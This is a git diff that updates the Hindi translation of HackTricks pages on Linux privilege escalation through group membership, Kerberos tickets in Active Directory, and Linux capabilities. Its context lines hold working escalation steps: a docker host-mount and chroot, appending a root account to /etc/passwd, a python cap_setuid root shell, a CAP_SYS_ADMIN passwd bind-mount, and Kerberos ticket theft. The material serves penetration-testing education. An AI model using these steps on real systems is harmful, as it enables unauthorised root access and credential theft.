/etc/polkit-1/localauthority.conf.d/* ``` @@ -60,7 +60,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` %wheel ALL=(ALL:ALL) ALL ``` -इसका मतलब है कि **कोई भी उपयोगकर्ता जो व्हील समूह का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**। +इसका मतलब है कि **कोई भी उपयोगकर्ता जो व्हील समूह का सदस्य है, वह कुछ भी sudo के रूप में निष्पादित कर सकता है**। यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**: ``` @@ -68,7 +68,7 @@ sudo su ``` ## Shadow Group -**शैडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: +**group shadow** के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -86,7 +86,7 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -यदि हम `/usr/local` में कुछ प्रोग्राम को हाईजैक कर सकते हैं, तो हम आसानी से रूट प्राप्त कर सकते हैं। +यदि हम `/usr/local` में कुछ प्रोग्रामों को हाईजैक कर सकते हैं, तो हम आसानी से रूट प्राप्त कर सकते हैं। `run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब SSH लॉगिन होता है)। ```bash @@ -130,7 +130,7 @@ $ /bin/bash -p ``` ## Disk Group -यह विशेषाधिकार लगभग **रूट एक्सेस के समान** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुँच सकते हैं। +यह विशेषाधिकार लगभग **रूट एक्सेस के बराबर** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुँच सकते हैं। Files:`/dev/sd[a-z][1-9]` ```bash @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -आप **होस्ट मशीन के रूट फाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। इससे आपको मशीन पर रूट मिल जाता है। +आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। इससे आपको मशीन पर रूट मिल जाता है। ```bash docker image #Get images from the docker service @@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -अंत में, यदि आपको पहले के किसी भी सुझाव पसंद नहीं हैं, या वे किसी कारण से काम नहीं कर रहे हैं (docker api firewall?) तो आप हमेशा **एक विशेषाधिकार प्राप्त कंटेनर चलाने और उससे भागने** की कोशिश कर सकते हैं जैसा कि यहां समझाया गया है: +अंत में, यदि आपको पहले के किसी भी सुझाव पसंद नहीं हैं, या वे किसी कारण से काम नहीं कर रहे हैं (docker api firewall?) तो आप हमेशा **एक विशेषाधिकार प्राप्त कंटेनर चलाने और उससे भागने** की कोशिश कर सकते हैं जैसा कि यहाँ समझाया गया है: {{#ref}} ../docker-security/ {{#endref}} -यदि आपके पास docker socket पर लिखने की अनुमति है तो [**इस पोस्ट को पढ़ें कि कैसे docker socket का दुरुपयोग करके विशेषाधिकार बढ़ाएं**](../index.html#writable-docker-socket)**.** +यदि आपके पास docker socket पर लिखने की अनुमति है तो [**इस पोस्ट को पढ़ें कि कैसे docker socket का दुरुपयोग करके विशेषाधिकार बढ़ाएं**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation @@ -222,7 +222,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Auth समूह -OpenBSD के अंदर **auth** समूह आमतौर पर _**/etc/skey**_ और _**/var/db/yubikey**_ फ़ोल्डरों में लिख सकता है यदि उनका उपयोग किया जाता है।\ +OpenBSD के भीतर **auth** समूह आमतौर पर _**/etc/skey**_ और _**/var/db/yubikey**_ फ़ोल्डरों में लिख सकता है यदि उनका उपयोग किया जाता है।\ इन अनुमतियों का दुरुपयोग निम्नलिखित एक्सप्लॉइट के साथ **विशेषाधिकार बढ़ाने** के लिए किया जा सकता है: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 4e3052cd6..9b9ea9540 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,7 +4,7 @@ एक लिनक्स मशीन भी एक Active Directory वातावरण के अंदर मौजूद हो सकती है। -एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट के उपयोगकर्ता मालिक या मशीन के अंदर **root** होना आवश्यक है। +एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए आपको टिकट के उपयोगकर्ता मालिक या **root** होना आवश्यक है। ## Enumeration @@ -14,6 +14,7 @@ आप लिनक्स से AD को सूचीबद्ध करने के **अन्य तरीकों** के बारे में जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं: + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} @@ -22,6 +23,7 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP directory** को MIT **Kerberos** Key Distribution Center के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें: + {{#ref}} ../freeipa-pentesting.md {{#endref}} @@ -30,7 +32,8 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic ### Pass The Ticket -इस पृष्ठ पर आप विभिन्न स्थान पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप जान सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (विंडोज़ में उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और PTT हमले को कैसे किया जाए: +इस पृष्ठ पर आप विभिन्न स्थानों को पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूप को Kirbi (विंडोज़ में उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और साथ ही PTT हमले को कैसे किया जाए: + {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -38,7 +41,7 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic ### CCACHE ticket reuse from /tmp -CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके। +CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग संभव हो सके। प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को `env | grep KRB5CCNAME` के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोगकर्ता UID है। ```bash @@ -49,9 +52,9 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` -### CCACHE टिकट पुन: उपयोग कीजिए की रिंग से +### CCACHE टिकट पुन: उपयोग कीजिए कीरिंग से -**किसी प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और टिकटों को `/tmp` में डंप करके निकासी की सुविधा प्रदान करता है। +**किसी प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और `/tmp` में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है। इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है: ```bash @@ -62,7 +65,7 @@ make CONF=Release ``` यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफलता को `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके इंगित करेगी। -### CCACHE टिकट पुन: उपयोग SSSD KCM से +### SSSD KCM से CCACHE टिकट पुन: उपयोग SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी `/var/lib/sss/secrets/.secrets.mkey` पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास **root** अनुमतियाँ हों। @@ -93,7 +96,7 @@ Linux उपयोगकर्ताओं के लिए, **`KeyTabExtract`** python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` -macOS पर, **`bifrost`** कुंजीपट फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में कार्य करता है। +macOS पर, **`bifrost`** कुंजीपटल फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में कार्य करता है। ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 304c229c5..4b79819bb 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -5,7 +5,7 @@ ## Linux Capabilities -Linux capabilities **रूट विशेषाधिकारों को छोटे, विशिष्ट इकाइयों में विभाजित** करती हैं, जिससे प्रक्रियाओं को विशेषाधिकारों का एक उपसमुच्चय प्राप्त होता है। यह पूर्ण रूट विशेषाधिकारों को अनावश्यक रूप से प्रदान न करके जोखिमों को कम करता है। +Linux capabilities **रूट विशेषाधिकारों को छोटे, विशिष्ट इकाइयों में विभाजित** करती हैं, जिससे प्रक्रियाओं को विशेषाधिकारों का एक उपसमुच्चय प्राप्त होता है। यह पूर्ण रूट विशेषाधिकारों को अनावश्यक रूप से देने से जोखिमों को कम करता है। ### समस्या: @@ -23,18 +23,18 @@ Linux capabilities **रूट विशेषाधिकारों को - **उद्देश्य**: यह दर्शाता है कि किसी प्रक्रिया द्वारा किसी भी क्षण में वास्तविक क्षमताएँ क्या हैं। - **कार्यप्रणाली**: यह क्षमताओं का सेट है जिसे विभिन्न संचालन के लिए अनुमति देने के लिए कर्नेल द्वारा जांचा जाता है। फ़ाइलों के लिए, यह सेट एक ध्वज हो सकता है जो यह इंगित करता है कि फ़ाइल की अनुमत क्षमताएँ प्रभावी मानी जाएँगी या नहीं। -- **महत्व**: प्रभावी सेट तात्कालिक विशेषाधिकार जांचों के लिए महत्वपूर्ण है, यह एक प्रक्रिया द्वारा उपयोग की जाने वाली क्षमताओं का सक्रिय सेट के रूप में कार्य करता है। +- **महत्व**: प्रभावी सेट तात्कालिक विशेषाधिकार जांचों के लिए महत्वपूर्ण है, जो एक प्रक्रिया द्वारा उपयोग की जाने वाली सक्रिय क्षमताओं के सेट के रूप में कार्य करता है। 3. **Permitted (CapPrm)**: - **उद्देश्य**: यह अधिकतम सेट को परिभाषित करता है जो एक प्रक्रिया रख सकती है। - **कार्यप्रणाली**: एक प्रक्रिया अनुमत सेट से एक क्षमता को प्रभावी सेट में बढ़ा सकती है, जिससे उसे उस क्षमता का उपयोग करने की अनुमति मिलती है। यह अपनी अनुमत सेट से क्षमताएँ भी हटा सकती है। -- **सीमा**: यह एक प्रक्रिया के पास होने वाली क्षमताओं के लिए एक ऊपरी सीमा के रूप में कार्य करता है, यह सुनिश्चित करता है कि एक प्रक्रिया अपने पूर्वनिर्धारित विशेषाधिकार दायरे से अधिक न जाए। +- **सीमा**: यह एक प्रक्रिया के पास होने वाली क्षमताओं के लिए एक ऊपरी सीमा के रूप में कार्य करता है, यह सुनिश्चित करते हुए कि प्रक्रिया अपने पूर्वनिर्धारित विशेषाधिकार दायरे से बाहर नहीं जाती। 4. **Bounding (CapBnd)**: - **उद्देश्य**: यह एक प्रक्रिया के जीवनकाल के दौरान कभी भी प्राप्त की जा सकने वाली क्षमताओं पर एक छत लगाता है। -- **कार्यप्रणाली**: भले ही एक प्रक्रिया के पास अपनी विरासत में ली गई या अनुमत सेट में एक निश्चित क्षमता हो, वह उस क्षमता को प्राप्त नहीं कर सकती जब तक कि यह बाउंडिंग सेट में भी न हो। +- **कार्यप्रणाली**: भले ही एक प्रक्रिया के पास अपनी विरासत में ली गई या अनुमत सेट में कोई विशेषता हो, वह उस विशेषता को प्राप्त नहीं कर सकती जब तक कि यह बाउंडिंग सेट में भी न हो। - **उपयोग का मामला**: यह सेट विशेष रूप से एक प्रक्रिया के विशेषाधिकार वृद्धि की संभावनाओं को प्रतिबंधित करने के लिए उपयोगी है, सुरक्षा की एक अतिरिक्त परत जोड़ता है। 5. **Ambient (CapAmb)**: @@ -84,7 +84,7 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` -ये हेक्साडेसिमल नंबर समझ में नहीं आ रहे हैं। capsh उपयोगिता का उपयोग करके हम इन्हें क्षमताओं के नाम में डिकोड कर सकते हैं। +ये हेक्साडेसिमल नंबर समझ में नहीं आते। capsh उपयोगिता का उपयोग करके हम इन्हें क्षमताओं के नाम में डिकोड कर सकते हैं। ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 @@ -101,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -हालांकि यह काम करता है, एक और आसान तरीका है। चल रहे प्रोसेस की क्षमताओं को देखने के लिए, बस **getpcaps** टूल का उपयोग करें उसके प्रोसेस आईडी (PID) के बाद। आप प्रोसेस आईडी की एक सूची भी प्रदान कर सकते हैं। +हालांकि यह काम करता है, एक और और आसान तरीका है। चल रहे प्रोसेस की क्षमताओं को देखने के लिए, बस **getpcaps** टूल का उपयोग करें उसके प्रोसेस आईडी (PID) के बाद। आप प्रोसेस आईडी की एक सूची भी प्रदान कर सकते हैं। ```bash getpcaps 1234 ``` @@ -124,7 +124,7 @@ $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` जैसा कि आप देख सकते हैं, दिए गए क्षमताएँ बाइनरी की क्षमताओं को प्राप्त करने के 2 तरीकों के परिणामों के साथ मेल खाती हैं।\ -_**getpcaps**_ टूल विशेष थ्रेड के लिए उपलब्ध क्षमताओं को क्वेरी करने के लिए **capget()** सिस्टम कॉल का उपयोग करता है। इस सिस्टम कॉल को अधिक जानकारी प्राप्त करने के लिए केवल PID प्रदान करने की आवश्यकता होती है। +_गेटपीकैप्स_ टूल **capget()** सिस्टम कॉल का उपयोग करके किसी विशेष थ्रेड के लिए उपलब्ध क्षमताओं को क्वेरी करता है। इस सिस्टम कॉल को अधिक जानकारी प्राप्त करने के लिए केवल PID प्रदान करने की आवश्यकता होती है। ### बाइनरी क्षमताएँ @@ -158,7 +158,7 @@ setcap -r ## User Capabilities स्पष्ट रूप से **उपयोगकर्ताओं को क्षमताएँ सौंपना संभव है**। इसका मतलब शायद यह है कि उपयोगकर्ता द्वारा निष्पादित प्रत्येक प्रक्रिया उपयोगकर्ता की क्षमताओं का उपयोग करने में सक्षम होगी।\ -[इस](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7) , [इस](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) और [इस](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) के आधार पर कुछ फ़ाइलों को कॉन्फ़िगर करने की आवश्यकता है ताकि एक उपयोगकर्ता को कुछ क्षमताएँ दी जा सकें, लेकिन प्रत्येक उपयोगकर्ता को क्षमताएँ सौंपने वाली फ़ाइल `/etc/security/capability.conf` होगी।\ +[इस](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7) के आधार पर, [इस ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) और [इस ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) के अनुसार कुछ फ़ाइलों को एक उपयोगकर्ता को निश्चित क्षमताएँ देने के लिए कॉन्फ़िगर किया जाना चाहिए, लेकिन प्रत्येक उपयोगकर्ता को क्षमताएँ सौंपने वाली फ़ाइल `/etc/security/capability.conf` होगी।\ फ़ाइल का उदाहरण: ```bash # Simple @@ -175,7 +175,7 @@ cap_sys_admin,22,25 jrsysadmin ``` ## Environment Capabilities -निम्नलिखित प्रोग्राम को संकलित करने पर **एक ऐसे वातावरण के अंदर एक bash शेल उत्पन्न करना संभव है जो क्षमताएँ प्रदान करता है**। +निम्नलिखित प्रोग्राम को संकलित करके **एक ऐसे वातावरण के अंदर एक bash शेल उत्पन्न करना संभव है जो क्षमताएँ प्रदान करता है**। ```c:ambient.c /* * Test program for the ambient capabilities @@ -271,13 +271,13 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` -**संकलित परिवेश बाइनरी द्वारा निष्पादित bash** के अंदर **नई क्षमताएँ** देखी जा सकती हैं (एक सामान्य उपयोगकर्ता के पास "वर्तमान" अनुभाग में कोई क्षमता नहीं होगी)। +**संकलित परिवेश बाइनरी द्वारा निष्पादित bash** के अंदर **नई क्षमताओं** को देखना संभव है (एक सामान्य उपयोगकर्ता के पास "वर्तमान" अनुभाग में कोई क्षमता नहीं होगी)। ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` > [!CAUTION] -> आप **केवल उन क्षमताओं को जोड़ सकते हैं जो** अनुमत और विरासत में मिलने वाले सेट दोनों में मौजूद हैं। +> आप **केवल उन क्षमताओं को जोड़ सकते हैं जो** अनुमत और विरासत में मिली सेट दोनों में मौजूद हैं। ### क्षमता-जानकारी/क्षमता-गूंगे बाइनरी @@ -285,16 +285,16 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ## सेवा क्षमताएँ -डिफ़ॉल्ट रूप से, **रूट के रूप में चलने वाली सेवा को सभी क्षमताएँ सौंप दी जाएंगी**, और कुछ अवसरों पर यह खतरनाक हो सकता है।\ -इसलिए, एक **सेवा कॉन्फ़िगरेशन** फ़ाइल आपको **निर्धारित** करने की अनुमति देती है कि आप इसे कौन सी **क्षमताएँ** देना चाहते हैं, **और** वह **उपयोगकर्ता** जो सेवा को निष्पादित करना चाहिए ताकि अनावश्यक विशेषाधिकारों के साथ सेवा न चलाई जाए: +डिफ़ॉल्ट रूप से, एक **सेवा जो रूट के रूप में चल रही है, सभी क्षमताएँ असाइन की जाएंगी**, और कुछ अवसरों पर यह खतरनाक हो सकता है।\ +इसलिए, एक **सेवा कॉन्फ़िगरेशन** फ़ाइल आपको **निर्धारित** करने की अनुमति देती है कि आप इसे कौन सी **क्षमताएँ** देना चाहते हैं, **और** वह **उपयोगकर्ता** जो सेवा को निष्पादित करना चाहिए ताकि अनावश्यक विशेषाधिकारों के साथ सेवा न चलाई जा सके: ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` -## Docker कंटेनरों में क्षमताएँ +## Capabilities in Docker Containers -डिफ़ॉल्ट रूप से, Docker कुछ क्षमताएँ कंटेनरों को असाइन करता है। यह जांचना बहुत आसान है कि ये क्षमताएँ कौन सी हैं, बस चलाकर: +डिफ़ॉल्ट रूप से, Docker कुछ क्षमताएँ कंटेनरों को असाइन करता है। यह जांचना बहुत आसान है कि ये क्षमताएँ कौन सी हैं, इसे चलाकर: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: @@ -338,7 +338,7 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` -**Capabilities** जो `tcpdump` को **किसी भी उपयोगकर्ता को पैकेट स्निफ़ करने की अनुमति देती हैं**: +**Capabilities** जो `tcpdump` को **किसी भी उपयोगकर्ता को पैकेट्स को स्निफ़ करने की अनुमति देती हैं**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump @@ -346,17 +346,17 @@ getcap /usr/sbin/tcpdump ``` ### "खाली" क्षमताओं का विशेष मामला -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): ध्यान दें कि कोई प्रोग्राम फ़ाइल को खाली क्षमता सेट सौंप सकता है, और इस प्रकार एक सेट-यूज़र-आईडी-रूट प्रोग्राम बनाना संभव है जो उस प्रक्रिया के प्रभावी और सहेजे गए सेट-यूज़र-आईडी को 0 में बदलता है जो प्रोग्राम को निष्पादित करता है, लेकिन उस प्रक्रिया को कोई क्षमताएँ नहीं देता। या, सरल शब्दों में, यदि आपके पास एक बाइनरी है जो: +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): ध्यान दें कि किसी प्रोग्राम फ़ाइल को खाली क्षमता सेट सौंपा जा सकता है, और इस प्रकार एक सेट-यूज़र-आईडी-रूट प्रोग्राम बनाना संभव है जो उस प्रक्रिया के प्रभावी और सहेजे गए सेट-यूज़र-आईडी को 0 में बदल देता है जो प्रोग्राम को निष्पादित करती है, लेकिन उस प्रक्रिया को कोई क्षमताएँ नहीं देता। या, सरल शब्दों में, यदि आपके पास एक बाइनरी है जो: 1. रूट द्वारा स्वामित्व में नहीं है -2. जिसमें कोई `SUID`/`SGID` बिट सेट नहीं है -3. जिसमें खाली क्षमताएँ सेट हैं (जैसे: `getcap myelf` `myelf =ep` लौटाता है) +2. `SUID`/`SGID` बिट सेट नहीं हैं +3. खाली क्षमताएँ सेट हैं (जैसे: `getcap myelf` `myelf =ep` लौटाता है) तो **वह बाइनरी रूट के रूप में चलेगी**। ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** एक अत्यधिक शक्तिशाली Linux क्षमता है, जिसे अक्सर इसके व्यापक **प्रशासनिक विशेषाधिकारों** के कारण लगभग-रूट स्तर के बराबर माना जाता है, जैसे कि उपकरणों को माउंट करना या कर्नेल सुविधाओं में हेरफेर करना। जबकि संपूर्ण सिस्टम का अनुकरण करने वाले कंटेनरों के लिए यह अनिवार्य है, **`CAP_SYS_ADMIN` महत्वपूर्ण सुरक्षा चुनौतियाँ प्रस्तुत करता है**, विशेष रूप से कंटेनरयुक्त वातावरण में, इसके विशेषाधिकार वृद्धि और सिस्टम समझौते की संभावनाओं के कारण। इसलिए, इसके उपयोग के लिए कठोर सुरक्षा आकलनों और सतर्क प्रबंधन की आवश्यकता होती है, जिसमें **कम से कम विशेषाधिकार के सिद्धांत** का पालन करने और हमले की सतह को कम करने के लिए एप्लिकेशन-विशिष्ट कंटेनरों में इस क्षमता को छोड़ने की मजबूत प्राथमिकता होती है। +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** एक अत्यधिक शक्तिशाली Linux क्षमता है, जिसे अक्सर इसके व्यापक **प्रशासनिक विशेषाधिकारों** के कारण लगभग रूट स्तर के बराबर माना जाता है, जैसे कि उपकरणों को माउंट करना या कर्नेल सुविधाओं में हेरफेर करना। जबकि संपूर्ण सिस्टम का अनुकरण करने वाले कंटेनरों के लिए यह अनिवार्य है, **`CAP_SYS_ADMIN` महत्वपूर्ण सुरक्षा चुनौतियाँ प्रस्तुत करता है**, विशेष रूप से कंटेनरयुक्त वातावरण में, इसके विशेषाधिकार वृद्धि और सिस्टम समझौते की संभावनाओं के कारण। इसलिए, इसके उपयोग के लिए कठोर सुरक्षा आकलनों और सतर्क प्रबंधन की आवश्यकता होती है, जिसमें **कम से कम विशेषाधिकार के सिद्धांत** का पालन करने और हमले की सतह को कम करने के लिए एप्लिकेशन-विशिष्ट कंटेनरों में इस क्षमता को छोड़ने की मजबूत प्राथमिकता होती है। **Example with binary** ```bash @@ -369,7 +369,7 @@ cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` -और अंत में **mount** करें संशोधित `passwd` फ़ाइल को `/etc/passwd` पर: +और अंत में **mount** किए गए संशोधित `passwd` फ़ाइल को `/etc/passwd` पर: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -382,7 +382,7 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` -और आप **`su` as root** पासवर्ड "password" का उपयोग करके कर सकेंगे। +और आप पासवर्ड "password" का उपयोग करके **`su` as root** करने में सक्षम होंगे। **पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट)** @@ -436,7 +436,7 @@ ssh john@172.17.0.1 -p 2222 **इसका मतलब है कि आप होस्ट के अंदर चल रहे किसी प्रक्रिया में शेलकोड इंजेक्ट करके कंटेनर से बाहर निकल सकते हैं।** होस्ट के अंदर चल रही प्रक्रियाओं तक पहुँचने के लिए कंटेनर को कम से कम **`--pid=host`** के साथ चलाना होगा। -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** `ptrace(2)` द्वारा प्रदान की गई डिबगिंग और सिस्टम कॉल ट्रेसिंग कार्यक्षमताओं का उपयोग करने की क्षमता प्रदान करता है और `process_vm_readv(2)` और `process_vm_writev(2)` जैसे क्रॉस-मेमोरी अटैच कॉल्स। हालांकि यह निदान और निगरानी के उद्देश्यों के लिए शक्तिशाली है, यदि `CAP_SYS_PTRACE` को `ptrace(2)` पर प्रतिबंधात्मक उपायों जैसे कि सेकंप फ़िल्टर के बिना सक्षम किया जाता है, तो यह सिस्टम सुरक्षा को महत्वपूर्ण रूप से कमजोर कर सकता है। विशेष रूप से, इसका उपयोग अन्य सुरक्षा प्रतिबंधों को दरकिनार करने के लिए किया जा सकता है, विशेष रूप से उन पर जो सेकंप द्वारा लगाए गए हैं, जैसा कि [इस तरह के प्रमाणों (PoC) द्वारा प्रदर्शित किया गया है](https://gist.github.com/thejh/8346f47e359adecd1d53)। 